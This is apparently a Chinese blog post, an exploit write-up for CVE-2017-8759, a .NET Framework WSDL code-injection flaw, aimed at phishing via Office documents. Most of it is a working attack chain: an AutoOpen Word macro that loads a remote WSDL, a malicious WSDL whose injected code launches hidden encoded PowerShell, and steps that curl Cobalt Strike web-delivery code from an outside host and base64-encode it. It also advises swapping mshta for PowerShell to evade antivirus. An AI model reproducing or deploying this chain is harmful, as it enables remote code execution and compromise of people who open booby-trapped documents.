CVE-2017-8759

  • 作者:c4bbage
  • 时间:2017.9.14
  • 链接:http://dobest1.com/CVE-2017-8759

简介

FireEye 最近检测到一个恶意的Microsoft Office RTF文档,利用CVE-2017-8759 WSDL解析器代码注入PrintClientProxy方法中的WSDL解析器模块中存在代码注入漏洞。如果提供的包含CRLF序列的数据,则IsValidUrl不会执行正确的验证。这就造成了攻击者注入和执行任意代码。

基本信息 基本信息抄自猎户攻防实验室
漏洞名称:.NET Framework远程代码执行漏洞
漏洞编号:CVE-2017-8759
漏洞影响:.NET系列产品的远程代码执行(RCE)并进一步控制系统
利用场景:远程钓鱼、社会工程(打开有惊喜哟)

影响版本:以下.NET版本

  • Microsoft .NET Framework 4.6.2
  • Microsoft .NET Framework 4.6.1
  • Microsoft .NET Framework 3.5.1
  • Microsoft .NET Framework 4.7
  • Microsoft .NET Framework 4.6
  • Microsoft .NET Framework 4.5.2
  • Microsoft .NET Framework 3.5
  • Microsoft .NET Framework 2.0 SP2

影响产品:
- Office(word excel)Edge IE WinOS Skype Lync Sharepoint

加固方法:
- https://portal.msrc.microsoft.com/en-us/security-guidance

利用方法(宏,会有提示)

这个方法不是fireeye报告中样本利用的方式。

新建word宏文档,建立宏AutoOpen

Sub AutoOpen()
Set x = GetObject("soap:wsdl=http://127.0.0.1:3333/exploit.txt")
End Sub

由于采用mshta,已经开始被各种安全防护设施查杀,一般环境建议更换为powershell,exploit.txt代码如下 会有弹窗,可以更换为其他方式rundll32

<definitions
    xmlns="http://schemas.xmlsoap.org/wsdl/"
    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
    xmlns:suds="http://www.w3.org/2000/wsdl/suds"
    xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
    xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
    <portType name="PortType"/>
    <binding name="Binding" type="tns:PortType">
        <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
        <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
    </binding>
    <service name="Service">
        <port name="Port" binding="tns:Binding">
            <soap:address location="http://127.0.0.1:8080?c:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe? -exec bypass -nop -w hidden -ENC XXXXXXXXXXXXXXXXXXXXXXXXXXX"/>
                        <soap:address location=";
                        if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
                                System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
                                System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
                        } //"/>
        </port>
    </service>
</definitions> 

XXXXXXXXXXXXXXXXXXXXXXXXXXX 为base64的cobalt strike Web Delivery(powershell 代码)
获取cobalt strike Web Delivery 代码

curl -H 'User-Agent:' xx.xxx.xxx.xx/a > cs.ps1

$c = Get-Content 'cs.ps1'
$b = [System.Text.Encoding]::Unicode.GetBytes($c.Trim())
$en =[Convert]::ToBase64String($b)
$en | Out-File "cs.ps1.b64"

fireeye利用方式

引用